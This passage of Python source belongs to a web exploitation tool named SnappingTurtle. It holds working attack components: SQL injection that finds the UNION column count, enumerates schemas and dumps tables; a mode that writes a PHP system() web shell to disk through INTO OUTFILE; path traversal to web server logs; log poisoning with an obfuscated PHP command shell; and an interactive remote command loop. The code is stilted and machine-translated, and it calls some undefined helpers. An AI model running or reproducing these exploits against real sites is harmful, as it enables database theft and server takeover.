  648.         (self.columnNumber) = columnNumber
  649.  
  650.  
  651. class SqlUnionProbe(ExploitComponent):
  652.     emitter = SqlEmitter()
  653.     output = None
  654.     begins = ["'", "\"", "-1 ", "0 ", ""]
  655.     ends = ["#", "--", ""]
  656.     def __init__(self, httpTemplate, maxColumns = 32):
  657.         (self.httpTemplate) = httpTemplate
  658.         (self.maxColumns) = maxColumns
  659.  
  660.     def findOutput(self):
  661.         (self.emitter) = SqlEmitter()
  662.         columns = 0
  663.         (self.log)("[?] Searching for union count and output")
  664.         def var_func_00000012(x):
  665.             return ((self.emitter).junkString)()
  666.  
  667.         def var_func_00000013(x):
  668.             return ((x.lstrip)(quote).rstrip)(quote)
  669.  
  670.         def var_func_00000014(___p_op_2):
  671.             return (___p_op_2 != 0)
  672.  
  673.         while True:
  674.             columns = (columns + 1)
  675.             for begin in (self.begins):
  676.                 for end in (self.ends):
  677.                     cols = (lambda var_00000011:select(var_func_00000012, var_00000011))(range(0, columns))
  678.                     quote = cols[0][0]
  679.                     colVals = (lambda var_00000012:select(var_func_00000013, var_00000012))(cols)
  680.                     resp = (self.sendRequest)((self.createInjection)(begin, end, cols))
  681.                     matches = (lambda var_00000013:where((resp.__contains__), var_00000013))(colVals)
  682.                     if var_func_00000014(len(matches)):
  683.                         offset = (colVals.index)(matches[0])
  684.                         msg = ("\r\n[+] Output found: Columns={}, Offset={}\r\n".format)(columns, offset)
  685.                         (self.log)(msg)
  686.                         return SqlUnionOutputInfo(begin, end, columns, offset)
  687.             if (columns >= (self.maxColumns)):
  688.                 return None
  689.  
  690.     def inject(self, columns, table, where = None):
  691.         def hasOutput():
  692.             return ((self.output) != None)
  693.  
  694.         if not hasOutput():
  695.             (self.output) = (self.findOutput)()
  696.         if not hasOutput():
  697.             (self.log)("[X] Could not find output for injection\r\n")
  698.             return None
  699.         injector = SqlUnionInjector({"HOST": "localhost", "PORT": 80}, ((self.output).columnCount), ((self.output).columnNumber), columns, table, delimiter = ((self.output).begin), where = where, terminator = ((self.output).end))
  700.         (injector.payload) = (injector.dump)
  701.         resp = (self.sendRequest)((injector.str)())
  702.         return (injector.finalize)(resp)
  703.  
  704.     def parseSchema(self, schemas):
  705.         if (schemas == None):
  706.             return None
  707.         def var_func_00000015(x):
  708.             return x[0]
  709.  
  710.         d = distinct((lambda var_00000014:select(var_func_00000015, var_00000014))(schemas))
  711.         dbs = dict()
  712.         def var_func_00000016(y):
  713.             return y[1]
  714.  
  715.         def var_func_00000017(y):
  716.             return (x == y[0])
  717.  
  718.         for x in d:
  719.             dbs[x] = (lambda var_00000015:select(var_func_00000016, var_00000015))((lambda var_00000016:where(var_func_00000017, var_00000016))(schemas))
  720.         return dbs
  721.  
  722.     def listSchemas(self):
  723.         return (self.parseSchema)((self.inject)(["TABLE_SCHEMA", "TABLE_NAME"], "INFORMATION_SCHEMA.Tables"))
  724.  
  725.     def listColumns(self, schema, table):
  726.         (self.log)("[?] Querying information schema for column names")
  727.         whereTmpl = (" WHERE INFORMATION_SCHEMA.COLUMNS.TABLE_SCHEMA = '{0}' AND" + " INFORMATION_SCHEMA.COLUMNS.TABLE_NAME='{1}'")
  728.         cols = (self.inject)(["COLUMN_NAME"], "INFORMATION_SCHEMA.COLUMNS", where = (whereTmpl.format)(schema, table))
  729.         if (cols == None):
  730.             (self.log)("[X] Could not query information schema\r\n")
  731.             return None
  732.         def var_func_00000018(x):
  733.             return x[0]
  734.  
  735.         cols = (lambda var_00000017:select(var_func_00000018, var_00000017))(cols)
  736.         def var_func_00000019(x):
  737.             return (("[" + x) + "]")
  738.  
  739.         tup = (lambda var_00000018:join(", ", var_00000018))((lambda var_00000019:select(var_func_00000019, var_00000019))(cols))
  740.         (self.log)(("\r\n[+] Columns found: %s\r\n" % tup))
  741.         return cols
  742.  
  743.     def dumpTable(self, table, schema = None, columns = None):
  744.         return (self.inject)((((self.listColumns)(schema, table)) if ((schema != None)) else (columns)), table)
  745.  
  746.     def sendRequest(self, injection):
  747.         values = {"sqli": injection}
  748.         return (Http.request)(((self.httpTemplate).getUrl)(values), ((self.httpTemplate).getPost)(values))
  749.  
  750.     def createInjection(self, begin, end, cols):
  751.         def var_func_0000001A():
  752.             return ((self.emitter).unionAll)(cols)
  753.  
  754.         return Injection(begin, end, var_func_0000001A)
  755.  
  756.  
  757. class TraversalRange(ExploitComponent):
  758.     def __init__(self, files, start, stop, dot = ".", separator = "/", terminator = ""):
  759.         (self.files) = files
  760.         (self.start) = start
  761.         (self.stop) = stop
  762.         (self.dot) = dot
  763.         (self.separator) = separator
  764.         (self.terminator) = terminator
  765.         (self.file_index) = 0
  766.         (self.i) = start
  767.  
  768.     def next(self):
  769.         if ((self.i) < (self.stop)):
  770.             i = (self.i)
  771.             f = (self.file_index)
  772.             (self.file_index) = ((self.file_index) + 1)
  773.             if ((self.file_index) == len((self.files))):
  774.                 (self.file_index) = 0
  775.                 (self.i) = ((self.i) + 1)
  776.             return (self.getTravSeq)(i, f)
  777.         else:
  778.             raise StopIteration
  779.  
  780.     def getTravSeq(self, len, file_index):
  781.         p = (lambda var_0000001A:join((self.separator), var_0000001A))((self.files)[file_index])
  782.         return ((((((self.dot) * 2) + (self.separator)) * len) + p) + (self.terminator))
  783.  
  784.     def __iter__(self):
  785.         return self
  786.  
  787.  
  788. class TraversalProbe(ExploitComponent):
  789.     dirs = [["apache", "logs"], ["apache2", "logs"], ["etc", "httpd", "logs"], ["opt", "lampp", "logs"], ["usr", "local", "apache", "logs"], ["var", "log"], ["var", "log", "apache"], ["var", "log", "apache2"], ["var", "log", "httpd"], ["var", "www", "logs"], ["xampp", "apache", "logs"]]
  790.     names = ["access.log", "access_log", "acces.log", "acces_log", "error.log", "error_log"]
  791.     def __init__(self, searchValue, reqTmpl, dot = ".", separator = "/", terminator = "", min = 0, max = 8):
  792.         (self.searchValue) = searchValue
  793.         (self.reqTmpl) = reqTmpl
  794.         (self.dot) = dot
  795.         (self.separator) = separator
  796.         (self.terminator) = terminator
  797.         (self.min) = min
  798.         (self.max) = max
  799.         (self.files) = (self.createPaths)()
  800.  
  801.     def createPaths(self):
  802.         def var_func_0000001B(x):
  803.             def var_func_00000031(y):
  804.                 return (x + [y])
  805.  
  806.             return (lambda var_0000001B:select(var_func_00000031, var_0000001B))((self.names))
  807.  
  808.         return (lambda var_0000001C:selectMany(var_func_0000001B, var_0000001C))((self.dirs))
  809.  
  810.     def seqs(self):
  811.         return TraversalRange((self.files), (self.min), (self.max), (self.dot), (self.separator), (self.terminator))
  812.  
  813.     def scan(self):
  814.         for x in (self.seqs)():
  815.             r = (self.testSeq)(x)
  816.             if (r != None):
  817.                 return r
  818.  
  819.     def testSeq(self, seq):
  820.         values = {"lfi": seq}
  821.         url = ((self.reqTmpl).getUrl)(values)
  822.         (self.log)(("[?] %s" % url))
  823.         data = ((self.reqTmpl).getPost)(values)
  824.         if (data != None):
  825.             (self.log)(("    " + str(data)))
  826.         resp = ((urllib2.urlopen)(url, data).read)()
  827.         t = url, data
  828.         return ((t) if ((resp.__contains__)((self.searchValue))) else (None))
  829.  
  830.  
  831. from random import shuffle, randint
  832. class PhpShellEmitter():
  833.     stages = [[], [], [], []]
  834.     emitter = None
  835.     prefix = None
  836.     suffix = None
  837.     padMin = 10
  838.     padMax = 32
  839.     junkChars = (lambda var_0000001D:select(chr, var_0000001D))((lambda var_0000001E:where(var_func_0000001C, var_0000001E))((lambda var_0000001F:where(var_func_0000001D, var_0000001F))(range(33, 127))))
  840.     def __init__(self):
  841.         (self.emitter) = PhpEmitter()
  842.  
  843.     def stageDecl(self, stage, value):
  844.         id, assign = ((self.emitter).declStmt)(value)
  845.         ((self.stages)[stage].append)(assign)
  846.         return id
  847.  
  848.     def varRef(self, stage, name):
  849.         return (self.stageDecl)(stage, ("$" + (self.stageDecl)((stage - 1), ((self.emitter).string)(name, False))))
  850.  
  851.     def emit(self, command = None, pad = False):
  852.         ((self.emitter).chr) = (self.stageDecl)(0, ((self.emitter).string)("chr", False, False))
  853.         system = (self.stageDecl)(1, ((self.emitter).string)("system", False))
  854.         if (command == None):
  855.             input = (self.varRef)(2, "_GET")
  856.             systemCallStmt = ((self.emitter).callStmt)(system, ((self.emitter).arrayAccess)(input, ((self.emitter).string)("cmd", False)))
  857.         else:
  858.             cmdStr = ((self.emitter).string)(command, False)
  859.             systemCallStmt = ((self.emitter).callStmt)(system, cmdStr)
  860.         ((self.stages)[3].append)(systemCallStmt)
  861.         (lambda var_00000020:iter(shuffle, var_00000020))((lambda var_00000021:skip(1, var_00000021))((self.stages)))
  862.         php = ""
  863.         x = ((self.emitter).doc)(addAll(flatten((self.stages))))
  864.         return ((x) if (not pad) else ((self.pad)(x)))
  865.  
  866.     def emitJunk(self):
  867.         def var_func_0000001E(x):
  868.             return choice((self.junkChars))
  869.  
  870.         return addAll((lambda var_00000022:select(var_func_0000001E, var_00000022))(range(0, randint((self.padMin), (self.padMax)))))
  871.  
  872.     def pad(self, value):
  873.         (self.prefix) = (self.emitJunk)()
  874.         (self.suffix) = (self.emitJunk)()
  875.         return (((self.prefix) + value) + (self.suffix))
  876.  
  877.  
  878. from random import choice, randint
  879. class PhpEmitter():
  880.     varNames = []
  881.     chr = "chr"
  882.     min = -2147483648
  883.     max = 2147483647
  884.     def doc(self, body):
  885.         return ("<?php %s ?>" % body)
  886.  
  887.     def stmt(self, exp):
  888.         return (exp + ";")
  889.  
  890.     def declStmt(self, value):
  891.         n = (self.nextVar)()
  892.         return n, (self.assignStmt)(n, value)
  893.  
  894.     def assignStmt(self, var, value):
  895.         return (self.stmt)(("{}={}".format)(var, value))
  896.  
  897.     def arrayAccess(self, array, dim):
  898.         return ("{}[{}]".format)(array, dim)
  899.  
  900.     def callStmt(self, target, args):
  901.         return (self.stmt)((lambda var_00000023:(self.call)(target, var_00000023))(args))
  902.  
  903.     def call(self, target, args):
  904.         return ("{}({})".format)(target, args)
  905.  
  906.     def string(self, string, allowPassthru = True, allowChars = True):
  907.         funcs = [(self.splitString)]
  908.         if allowChars:
  909.             (funcs.append)((self.chars))
  910.         return choice(funcs)(string)
  911.  
  912.     def echo(self, value):
  913.         return (self.stmt)(("echo %s" % value))
  914.  
  915.     def splitString(self, string):
  916.         l = len(string)
  917.         if (l < 2):
  918.             return (self.string)(string)
  919.         i = randint(1, (l - 1))
  920.         lhs = (self.string)(string[0:i])
  921.         rhs = (self.string)(string[i:l])
  922.         return ((lhs + ".") + rhs)
  923.  
  924.     def chars(self, str):
  925.         return (lambda var_00000024:join(".", var_00000024))((lambda var_00000025:select((self.char), var_00000025))(str))
  926.  
  927.     def char(self, char):
  928.         c = ord(char)
  929.         n = choice([c, (self.widenByte)(c)])
  930.         return ("{}({})".format)((self.chr), (self.number)(n))
  931.  
  932.     def number(self, number):
  933.         return choice([(self.emit), (self.addition), (self.subtraction)])(number)
  934.  
  935.     def addition(self, number):
  936.         def var_func_0000001F(x, y):
  937.             return (x - y)
  938.  
  939.         return (self.binOp)(number, "+", var_func_0000001F)
  940.  
  941.     def subtraction(self, number):
  942.         def var_func_00000020(x, y):
  943.             return (x + y)
  944.  
  945.         return (self.binOp)(number, "-", var_func_00000020)
  946.  
  947.     def binOp(self, number, op, func):
  948.         while True:
  949.             x = (self.nextInt)()
  950.             lhs = func(number, x)
  951.             if ((self.validNum)(x) and (self.validNum)(lhs)):
  952.                 break
  953.         rhs = (self.number)(x)
  954.         fmt = (("({}{} {})") if ((op == str(rhs)[:1])) else ("({}{}{})"))
  955.         return (fmt.format)(lhs, op, rhs)
  956.  
  957.     def emit(self, value):
  958.         return value
  959.  
  960.     def nextInt(self):
  961.         def var_func_00000021(x):
  962.             return randint(((self.min) >> x), ((self.max) >> x))
  963.  
  964.         return choice((lambda var_00000026:select(var_func_00000021, var_00000026))([0, 8, 16, 32]))
  965.  
  966.     def nextVar(self):
  967.         l = randint(1, 1)
  968.         def var_func_00000022(x):
  969.             return (self.getRandChar)()
  970.  
  971.         while True:
  972.             v = ("$" + addAll((lambda var_00000027:select(var_func_00000022, var_00000027))(range(0, l))))
  973.             if not ((self.varNames).__contains__)(v):
  974.                 ((self.varNames).append)(v)
  975.                 return v
  976.  
  977.     def quote(self, string):
  978.         return ("\"%s\"" % (self.escape)(string))
  979.  
  980.     def getRandChar(self):
  981.         return choice((self.getAllChars)())
  982.  
  983.     def getAllChars(self):
  984.         return (((self.getChars)("a") + (self.getChars)("A")) + "_")
  985.  
  986.     def getChars(self, start):
  987.         def var_func_00000023(x):
  988.             return chr((ord(start) + x))
  989.  
  990.         return addAll((lambda var_00000028:select(var_func_00000023, var_00000028))(range(0, 26)))
  991.  
  992.     def escape(self, string):
  993.         return ((string.replace)("\\", "\\\\").replace)("\"", "\\\"")
  994.  
  995.     def widenByte(self, number):
  996.         mask = ((self.max) & ~255)
  997.         while True:
  998.             x = (((self.nextInt)() & mask) | number)
  999.             if (self.validNum)(x):
  1000.                 return x
  1001.  
  1002.     def validNum(self, number):
  1003.         return (((self.min) <= number) and (number <= (self.max)))
  1004.  
  1005.  
  1006. from urlparse import urlparse
  1007. class LogInjector(ExploitComponent):
  1008.     repo = JsonRepository("logShells.json")
  1009.     def __init__(self, reqTmpl, dot = ".", separator = "/", terminator = ""):
  1010.         (self.reqTmpl) = reqTmpl
  1011.         (self.dot) = dot
  1012.         (self.separator) = separator
  1013.         (self.terminator) = terminator
  1014.         (self.probe) = TraversalProbe("blank command", reqTmpl, dot, separator, terminator)
  1015.         (self.emitter) = PhpShellEmitter()
  1016.         (self.url) = (reqTmpl.url)
  1017.  
  1018.     def findShell(self):
  1019.         (self.log)("[i] Searching for shell")
  1020.         s = ((self.probe).scan)()
  1021.         if (s != None):
  1022.             (self.log)("[+] Shell found")
  1023.             if self.url in self.repo.repo:
  1024.                 tags = ((self.repo).repo)[(self.url)]
  1025.                 ((self.emitter).prefix) = tags[0]
  1026.                 ((self.emitter).suffix) = tags[1]
  1027.             else:
  1028.                 (self.log)("[-] Error: could not find shell prefix/suffix")
  1029.         else:
  1030.             (self.log)("[-] Shell not found")
  1031.         return s
  1032.  
  1033.     def sendShell(self):
  1034.         (self.log)("[i] Injecting shell")
  1035.         shell = ((self.emitter).emit)(pad = True)
  1036.         u = ((((self.reqTmpl).getUrl)({"lfi": shell})) if (((self.url).__contains__)("$lfi")) else ((((self.url) + "?") + shell)))
  1037.         ((self.repo).add)((self.url), [((self.emitter).prefix), ((self.emitter).suffix)])
  1038.         (self.log)(("    Url: " + u))
  1039.         (urllib2.urlopen)(u)
  1040.  
  1041.     def inject(self):
  1042.         shell = (self.findShell)()
  1043.         if (shell == None):
  1044.             (self.sendShell)()
  1045.             shell = (self.findShell)()
  1046.         return shell
  1047.  
  1048.  
  1049. import urllib
  1050. class LfiShell(ExploitComponent):
  1051.     shellInfo = None
  1052.     def __init__(self, reqTmpl, dot = ".", separator = "/", terminator = ""):
  1053.         (self.injector) = LogInjector(reqTmpl, dot, separator, terminator)
  1054.  
  1055.     def create(self):
  1056.         i = ((self.injector).inject)()
  1057.         if (i == None):
  1058.             (self.log)("[-] Could not exploit LFI")
  1059.             return False
  1060.         (self.shellInfo) = i
  1061.         return True
  1062.  
  1063.     def run(self, cmd):
  1064.         if ((self.shellInfo) == None):
  1065.             (self.log)("[!] No known shell")
  1066.             if not (self.create)():
  1067.                 return None
  1068.             quit()
  1069.         u = (self.createCmdUrl)(cmd)
  1070.         (self.log)(("[?] %s" % u))
  1071.         _, d = (self.shellInfo)
  1072.         postData = d
  1073.         if (postData != None):
  1074.             (self.log)(("    " + str(postData)))
  1075.         resp = (self.parseResp)(((urllib2.urlopen)(u, postData).read)())
  1076.         return resp
  1077.  
  1078.     def parseResp(self, resp):
  1079.         def fan(v):
  1080.             def var_func_00000024(x):
  1081.                 return [x, (x.upper)(), (x.lower)()]
  1082.  
  1083.             return distinct((lambda var_00000029:selectMany(var_func_00000024, var_00000029))([v, ((v.replace)("\\", "\\\\").replace)("\"", "\\\"")]))
  1084.  
  1085.         def split(v, t):
  1086.             for tag in fan(t):
  1087.                 if (len(v) != 2):
  1088.                     v = (v[0].split)(tag)
  1089.                 else:
  1090.                     break
  1091.             return v
  1092.  
  1093.         e = ((self.injector).emitter)
  1094.         if ((e.prefix) == None):
  1095.             return resp
  1096.         p = split([resp], (e.prefix))
  1097.         if (len(p) < 2):
  1098.             return resp
  1099.         return split([p[1]], (e.suffix))[0]
  1100.  
  1101.     def createCmdUrl(self, cmd):
  1102.         u, _ = (self.shellInfo)
  1103.         d = (urllib.urlencode)({"cmd": cmd})
  1104.         x = (("&") if ((u.__contains__)("?")) else ("?"))
  1105.         return ((u + x) + d)
  1106.  
  1107.  
  1108. class SqlEmitter():
  1109.     alpha = (CharRange.alpha)()
  1110.     def getChars(self):
  1111.         def var_func_00000025(___p_op_5):
  1112.             return (___p_op_5 != (self.quote)())
  1113.  
  1114.         return (lambda var_0000002A:select(chr, var_0000002A))((lambda var_0000002B:where(var_func_00000025, var_0000002B))(range(32, 128)))
  1115.  
  1116.     def tup(self, vals):
  1117.         def var_func_00000026(x, y):
  1118.             return (((x + ",") + (self.space)()) + y)
  1119.  
  1120.         return (lambda var_0000002C:aggr(var_func_00000026, var_0000002C))(vals)
  1121.  
  1122.     def words(self, words):
  1123.         def var_func_00000027(x, y):
  1124.             return ((x + (self.space)()) + y)
  1125.  
  1126.         return (lambda var_0000002D:aggr(var_func_00000027, var_0000002D))(words)
  1127.  
  1128.     def space(self):
  1129.         return " "
  1130.  
  1131.     def quote(self):
  1132.         return "'"
  1133.  
  1134.     def junkCharRange(self):
  1135.         def var_func_00000028(x):
  1136.             return choice((self.alpha))
  1137.  
  1138.         return (lambda var_0000002E:join("", var_0000002E))((lambda var_0000002F:select(var_func_00000028, var_0000002F))((lambda var_00000030:range(0, var_00000030))(randint(8, 32))))
  1139.  
  1140.     def junkString(self):
  1141.         return ("{1}{0}{1}".format)((self.junkCharRange)(), (self.quote)())
  1142.  
  1143.     def unionAll(self, cols):
  1144.         return (self.words)(["UNION", "SELECT", "ALL", (self.tup)(cols)])
  1145.  
  1146.     def comment(self):
  1147.         return "#"
  1148.  
  1149.  
  1150. import re
  1151. class SqlUnionInjector(ExploitComponent):
  1152.     def __init__(self, options, columns, dump_column, target_columns, target_table, delimiter = "'", delim = "'", row_start = "--start--", row_end = "--end--", where = None, terminator = "#"):
  1153.         (self.options) = options
  1154.         (self.columns) = columns
  1155.         (self.dump_column) = dump_column
  1156.         (self.target_columns) = target_columns
  1157.         (self.target_table) = target_table
  1158.         (self.delimiter) = delimiter
  1159.         (self.delim) = delim
  1160.         (self.row_start) = row_start
  1161.         (self.row_end) = row_end
  1162.         (self.where) = where
  1163.         (self.terminator) = terminator
  1164.         (self.host) = options["HOST"]
  1165.         (self.port) = options["PORT"]
  1166.         (self.dump) = ("Dump {}".format)(target_table)
  1167.         (self.shell) = None
  1168.         (self.payload) = None
  1169.         options["PAYLOAD"] = dict(options = [(self.dump), (self.shell)], selected = (self.dump))
  1170.  
  1171.     def set_payload(self, payload):
  1172.         def var_func_00000029():
  1173.             (self.payload) = payload
  1174.  
  1175.         return var_func_00000029
  1176.  
  1177.     def is_dump(self):
  1178.         return ((self.payload) == (self.dump))
  1179.  
  1180.     def str(self):
  1181.         s = ""
  1182.         if (self.delimiter):
  1183.             s += (self.delimiter)
  1184.         s += "UNION SELECT "
  1185.         if (self.delim):
  1186.             empty = ((self.delim) * 2)
  1187.             delim = (self.delim)
  1188.         else:
  1189.             empty = "0"
  1190.             delim = "'"
  1191.         if (self.is_dump)():
  1192.             s += (self.union)(empty, delim)
  1193.             if ((self.where) != None):
  1194.                 s += (" " + (self.where))
  1195.         else:
  1196.             s += (self.shell)(empty, delim)
  1197.         s += (self.terminator)
  1198.         return s
  1199.  
  1200.     def union(self, empty, delim):
  1201.         s = ((empty + ",") * (self.dump_column))
  1202.         s += ("CONCAT_WS({0}stdelim{0},{0}{1}{0},".format)(delim, (self.row_start))
  1203.         def var_func_0000002A(x):
  1204.             return ("IFNULL(%s,'')" % x)
  1205.  
  1206.         s += (",".join)((lambda var_00000031:select(var_func_0000002A, var_00000031))((self.target_columns)))
  1207.         s += (",{0}{1}{0})".format)(delim, (self.row_end))
  1208.         s += (("," + empty) * (((self.columns) - (self.dump_column)) - 1))
  1209.         s += (" FROM {}".format)((self.target_table))
  1210.         return s
  1211.  
  1212.     def shell(self, empty, delim):
  1213.         shell_delim = (("\"") if ((delim == "'")) else ("'"))
  1214.         shell = ("{0}<?php system($_GET[{1}cmd{1}]); ?>{0}".format)(delim, shell_delim)
  1215.         col_seq = (shell + (("," + empty) * ((self.columns) - 1)))
  1216.         directory = "htdocs/"
  1217.         traverse = ("../" * 2)
  1218.         shell_file = "shell.php"
  1219.         s = ("{0} FROM dual INTO OUTFILE {1}{2}{3}{4}{1}{5}".format)(col_seq, delim, traverse, directory, shell_file, (self.terminator))
  1220.         return s
  1221.  
  1222.     def finalize(self, resp):
  1223.         def var_func_0000002B(___p_op_6):
  1224.             return (___p_op_6.split("stdelim"))
  1225.  
  1226.         if (self.is_dump)():
  1227.             pattern = ("{}stdelim(.*?)stdelim{}".format)((self.row_start), (self.row_end))
  1228.             matches = (re.findall)(pattern, resp)
  1229.             return (lambda var_00000032:select(var_func_0000002B, var_00000032))(matches)
  1230.         else:
  1231.             u = ("http://{}:{}/shell.php".format)((self.host), (self.port))
  1232.             s = ("GET {}\r\n".format)(u)
  1233.             code = ((urllib2.urlopen)(u).getcode)()
  1234.             if (code == 200):
  1235.                 s += ("Shell found at {}".format)(u)
  1236.             else:
  1237.                 s += "Shell not found, exploit failed"
  1238.             return s
  1239.  
  1240.  
  1241. import sys
  1242. from ast import literal_eval
  1243. class CliArgs():
  1244.     Mode = None
  1245.     ModeOption = None
  1246.     ModeOption2 = None
  1247.     Get = None
  1248.     Post = None
  1249.     File = None
  1250.  
  1251.  
  1252. class ParserState():
  1253.     Class = 0
  1254.     Url = 1
  1255.     Option = 2
  1256.     OptionValue = 3
  1257.     OptionValue2 = 4
  1258.     ModeOption = 5
  1259.     ModeOption2 = 6
  1260.     Filename = 7
  1261.     FileData = 8
  1262.  
  1263.  
  1264. class ArgOption():
  1265.     GetPair = "-g"
  1266.     PostPair = "-p"
  1267.     Get = "--g"
  1268.     Post = "--p"
  1269.     File = "-f"
  1270.  
  1271.  
  1272. class ClassOption():
  1273.     Lfi = "lfi"
  1274.     Sqli = "sqli"
  1275.     Xss = "xss"
  1276.     Shell = "shell"
  1277.     Upload = "upload"
  1278.  
  1279.  
  1280. class SqliOption():
  1281.     List = "list"
  1282.     Table = "table"
  1283.  
  1284.  
  1285. def parseArgs():
  1286.     i = 0
  1287.     key = None
  1288.     key2 = None
  1289.     key3 = None
  1290.     state = (ParserState.Class)
  1291.     obj = CliArgs()
  1292.     args = (lambda var_00000033:skip(1, var_00000033))((sys.argv))
  1293.     for x in args:
  1294.         _cwSwitchValue_0000 = state
  1295.         if (_cwSwitchValue_0000 == (ParserState.Class)):
  1296.             (obj.Mode) = x
  1297.             _cwSwitchValue_0001 = x
  1298.             if ((_cwSwitchValue_0001 == (ClassOption.Sqli)) or (_cwSwitchValue_0001 == (ClassOption.Xss))):
  1299.                 state = (ParserState.ModeOption)
  1300.             else:
  1301.                 state = (ParserState.Url)
  1302.         else:
  1303.             if (_cwSwitchValue_0000 == (ParserState.ModeOption)):
  1304.                 (obj.ModeOption) = x
  1305.                 if (((obj.Mode) == (ClassOption.Sqli)) and ((obj.ModeOption) == (SqliOption.Table))):
  1306.                     state = (ParserState.ModeOption2)
  1307.                 else:
  1308.                     state = (ParserState.Url)
  1309.             else:
  1310.                 if (_cwSwitchValue_0000 == (ParserState.ModeOption2)):
  1311.                     (obj.ModeOption2) = x
  1312.                     state = (ParserState.Url)
  1313.                 else:
  1314.                     if (_cwSwitchValue_0000 == (ParserState.Url)):
  1315.                         (obj.Url) = x
  1316.                         state = (ParserState.Option)
  1317.                     else:
  1318.                         if (_cwSwitchValue_0000 == (ParserState.Option)):
  1319.                             key = x
  1320.                             state = (ParserState.OptionValue)
  1321.                         else:
  1322.                             if (_cwSwitchValue_0000 == (ParserState.OptionValue)):
  1323.                                 _cwSwitchValue_0002 = key
  1324.                                 if (_cwSwitchValue_0002 == (ArgOption.Get)):
  1325.                                     (obj.Get) = literal_eval(x)
  1326.                                     state = (ParserState.Option)
  1327.                                 else:
  1328.                                     if (_cwSwitchValue_0002 == (ArgOption.Post)):
  1329.                                         (obj.Post) = literal_eval(x)
  1330.                                         state = (ParserState.Option)
  1331.                                     else:
  1332.                                         if ((_cwSwitchValue_0002 == (ArgOption.GetPair)) or (_cwSwitchValue_0002 == (ArgOption.PostPair))):
  1333.                                             key2 = x
  1334.                                             state = (ParserState.OptionValue2)
  1335.                                         else:
  1336.                                             if (_cwSwitchValue_0002 == (ArgOption.File)):
  1337.                                                 key2 = x
  1338.                                                 state = (ParserState.Filename)
  1339.                             else:
  1340.                                 if (_cwSwitchValue_0000 == (ParserState.OptionValue2)):
  1341.                                     d = None
  1342.                                     _cwSwitchValue_0003 = key
  1343.                                     if (_cwSwitchValue_0003 == (ArgOption.GetPair)):
  1344.                                         if ((obj.Get) == None):
  1345.                                             (obj.Get) = dict()
  1346.                                         d = (obj.Get)
  1347.                                     else:
  1348.                                         if (_cwSwitchValue_0003 == (ArgOption.PostPair)):
  1349.                                             if ((obj.Post) == None):
  1350.                                                 (obj.Post) = dict()
  1351.                                             d = (obj.Post)
  1352.                                     d[key2] = x
  1353.                                     state = (ParserState.Option)
  1354.                                 else:
  1355.                                     if (_cwSwitchValue_0000 == (ParserState.Filename)):
  1356.                                         key3 = x
  1357.                                         state = (ParserState.FileData)
  1358.                                     else:
  1359.                                         if (_cwSwitchValue_0000 == (ParserState.FileData)):
  1360.                                             if ((obj.File) == None):
  1361.                                                 (obj.File) = []
  1362.                                             ((obj.File).append)(HttpFile(key2, key3, x))
  1363.                                             state = (ParserState.Option)
  1364.                                         else:
  1365.                                             print(("Error parsing argument: %s" % x))
  1366.                                             quit()
  1367.         i = (i + 1)
  1368.     return obj
  1369.  
  1370. hasArgs = var_func_0000002C(len((sys.argv)))
  1371. args = parseArgs()
  1372. import json
  1373. class ShellCommand():
  1374.     Quit = "quit"
  1375.  
  1376.  
  1377. def shellLoop(shell):
  1378.     while True:
  1379.         cmd = raw_input("st>")
  1380.         _cwSwitchValue_0004 = cmd
  1381.         if (_cwSwitchValue_0004 == (ShellCommand.Quit)):
  1382.             print("Exiting")
  1383.             quit()
  1384.         else:
  1385.             print((shell.run)(cmd))
  1386.  
  1387. def listTables(tmpl):
  1388.     probe = SqlUnionProbe(tmpl)
  1389.     di = (probe.listSchemas)()
  1390.     if (di == None):
  1391.         print("[X] List tables failed\r\n")
  1392.         return None
  1393.     keys = (di.keys)()
  1394.     print(("[+] %s databases found\r\n" % len(keys)))
  1395.     for key in keys:
  1396.         print(("    " + key))
  1397.         for table in di[key]:
  1398.             print(("      " + table))
  1399.         print("")
  1400.  
  1401. def printTable(columns, rows):
  1402.     def var_func_0000002D(x):
  1403.         return ""
  1404.  
  1405.     rows = (([columns] + [(lambda var_00000034:select(var_func_0000002D, var_00000034))(columns)]) + rows)
  1406.     def var_func_0000002E(x):
  1407.         return (sorted(x, reverse = True)[0] + 1)
  1408.  
  1409.     def var_func_0000002F(x):
  1410.         def var_func_00000032(y):
  1411.             return ((len(y[x])) if ((x < len(y))) else (0))
  1412.  
  1413.         return (lambda var_00000035:select(var_func_00000032, var_00000035))(rows)
  1414.  
  1415.     colLens = (lambda var_00000036:select(var_func_0000002E, var_00000036))((lambda var_00000037:select(var_func_0000002F, var_00000037))(range(0, len(columns))))
  1416.     for row in rows:
  1417.         i = 0
  1418.         for col in row:
  1419.             maxLen = colLens[i]
  1420.             pad = (maxLen - len(col))
  1421.             ((sys.stdout).write)((col + (" " * (pad + 1))))
  1422.             i = (i + 1)
  1423.         ((sys.stdout).write)("\r\n")
  1424.     ((sys.stdout).write)("\r\n")
  1425.  
  1426. print(("SnappingTurtle Web Exploitation Tool 0.1." + "0324.1445"))
  1427. print("http://autosectools.com/SnappingTurtle\r\n")
  1428. if hasArgs:
  1429.     shell = None
  1430.     tmpl = HttpRequestTemplate((args.Url), (args.Get), (args.Post), (args.File))
  1431.     _cwSwitchValue_0005 = (args.Mode)
  1432.     if (_cwSwitchValue_0005 == (ClassOption.Lfi)):
  1433.         print("[i] Exploiting local file inclusion")
  1434.         shell = LfiShell(tmpl)
  1435.         if not (shell.create)():
  1436.             print("[X] Failed to create shell, exiting\r\n")
  1437.             quit()
  1438.     else:
  1439.         if (_cwSwitchValue_0005 == (ClassOption.Sqli)):
  1440.             print("[i] Exploiting SQL injection")
  1441.             _cwSwitchValue_0006 = (args.ModeOption)
  1442.             if (_cwSwitchValue_0006 == (SqliOption.List)):
  1443.                 print("[?] Listing databases and tables")
  1444.                 listTables(tmpl)
  1445.             else:
  1446.                 if (_cwSwitchValue_0006 == (SqliOption.Table)):
  1447.                     p = ((args.ModeOption2).split)(".")
  1448.                     schema = p[0]
  1449.                     table = p[1]
  1450.                     print(("[?] Dumping table '{}' of database '{}'".format)(table, schema))
  1451.                     probe = SqlUnionProbe(tmpl)
  1452.                     columns = (probe.listColumns)(schema, table)
  1453.                     if (columns == None):
  1454.                         print("[X] Could not enumerate columns\r\n")
  1455.                         quit()
  1456.                     rows = (probe.dumpTable)(table, columns = columns)
  1457.                     if (rows != None):
  1458.                         print("\r\n[+] Table dumped:\r\n")
  1459.                         printTable(columns, rows)
  1460.                     else:
  1461.                         print("[X] Could not dump table\r\n")
  1462.                         quit()
  1463.                 else:
  1464.                     print("[X] Invalid SQL injection option\r\n")
